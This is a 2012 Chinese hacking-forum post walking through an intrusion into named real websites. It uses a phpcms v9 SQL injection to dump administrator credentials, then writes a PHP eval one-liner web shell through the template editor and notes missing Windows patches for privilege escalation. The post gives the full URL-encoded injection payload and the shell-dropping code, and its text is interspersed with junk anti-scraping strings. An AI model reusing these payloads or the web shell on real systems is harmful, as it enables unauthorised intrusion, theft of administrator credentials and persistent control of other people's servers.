中国网络渗透测试联盟

标题: 利用phpcms v9 0day拿shell [打印本页]

作者: admin 时间: 2012-12-20 08:44
标题: 利用phpcms v9 0day拿shell
期末快到了，各种作业啊。。学计算机的伤不起啊。。话说我们有门课很有意思，叫做黑客攻防，期末作业就是黑站，我笑了。。前几天在服务器上嗅探把服务器搞死了，管理员漏洞也补了，写这篇文章单凭记忆，图片较少，还请见谅。

Author：夜行人

From：F4ck Team

目标站：http://www.ipucom.com/

旁注到一个站点：www.zhongyitong.com有phpcmsv9注射漏洞

百度一下找到该漏洞的利用方法。

直接在该网站注册用户名，然后在该网站域名后加上这段代码就能爆出数据库名

api.php?op=add_favorite&url=xx.oo&title=%2527
$ ]1 _5 O1 E2 y& Y) B                                           * G" N6 ~8 i+ l  Q/ J, Q+ |. \1 B

# a4 x* W" r; Y7 p7 H; z                               " P4 Z' U$ I, _
  P7 [9 a8 U; F9 C/ [
                                                         [attach]127[/attach]- |9 j6 R  {/ d% m! G) \

& ?6 w. |/ y, h: {* T0 m7 M5 t4 u% P. s5 @* n& }' e! X8 l: t/ f0 D
' v% ]9 \' F" S! u: ?

7 Z. S8 V- g( o% ^  |, [                                                       [attach]128[/attach]" D7 X2 \( A9 O  W- Z2 ^
                                                      [attach]129[/attach]
2 h, R  U2 ]+ S% M2 s* T& L

这里可以清楚的看到数据库名和表名，然后把该表名替换一下代码中的表名

api.php?op=add_favorite&url=xx.oo&title=%2527%2520and%2520%2528select%25201%2520from%

2528select%2520count%2528%252a%2529%252Cconcat%2528%2528select%2520%2528select

%2520%2528select%2520concat%25280x23%252Ccast%2528concat%2528username%252C0x3a%252C

password%252C0x3a%252Cencrypt%2529%2520as%2520char%2529%252C0x23%2529%2520from

%2520v9_admin%2520LIMIT%25200%252C1%2529%2529%2520from%2520information_schema.tables

%2520limit%25200%252C1%2529%252Cfloor%2528rand%25280%2529%252a2%2529%2529x%2520from

%2520information_schema.tables%2520group%2520by%2520x%2529a%2529%2520and

%2520%25271%2527%253D%25271

[attach]130[/attach]4 q: L, s X& t

4 P- D4 X- d3 }5 Z& {( r
9 Q' E4 h! f& F4 O8 H, m) }: d, J! y9 f3 T6 @# H

帐号密码就出来了，md5解密一下就行了

进入后台, 界面 > 模板管理 > 模板风格 >2 @) g$ K- C( K9 S+ f' ~# r- K/ {2 p! g

. Y5 i3 X- i9 T; H, j( [
% }* a* v( c8 f  g% h" D6 k                                              [attach]131[/attach]( }" z7 n% ^0 K5 g% M& ?5 F

- h* p  L( H& f* B( M- t; p! y' f, b- f3 M6 b8 r
2 a) V+ U! U) }# l
2 K5 ]0 c+ [, [* @

  x  U  L/ d4 j; \, c; U0 U

点击后面的修改，然后把一下代码复制上去保存

$fp = @fopen("c.php", 'a');

@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[zmzsg100])'."\r\n\r\n?".">\r\n");

@fclose($fp);

?>
7 W7 \" x8 p  d( |1 u% S
6 }0 ]9 d: H* f5 E+ w
' b; @" ]/ z% Z; ^' {1 o" ~6 g3 S" e5 J& g) e5 i- r/ w
  y9 ]4 ^- c5 O3 Q8 S( L
                                                                     [attach]132[/attach]
/ S+ F( m6 y1 R1 b& G, o& Y5 A* f5 F2 E: l

' u' K& W/ f1 I$ x4 @3 A7 G8 [4 @& L" \) r0 P- j
4 C1 k. ]! s- W! h

$ O5 \& W/ s  s9 m; i$ r& j- C

提交后可视化一下
# q) j/ \3 R4 W, L i7 i7 c4 s0 P! I+ O. ?

在网站的根目录就生成了你的一句话木马客户端

http://www.zhongyitong.com/f4ck.php

然后通过控制端连上去就行了。。。

提权貌似很简单，看了下systeminfo

发现没有

KB2503665

KB2592799

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)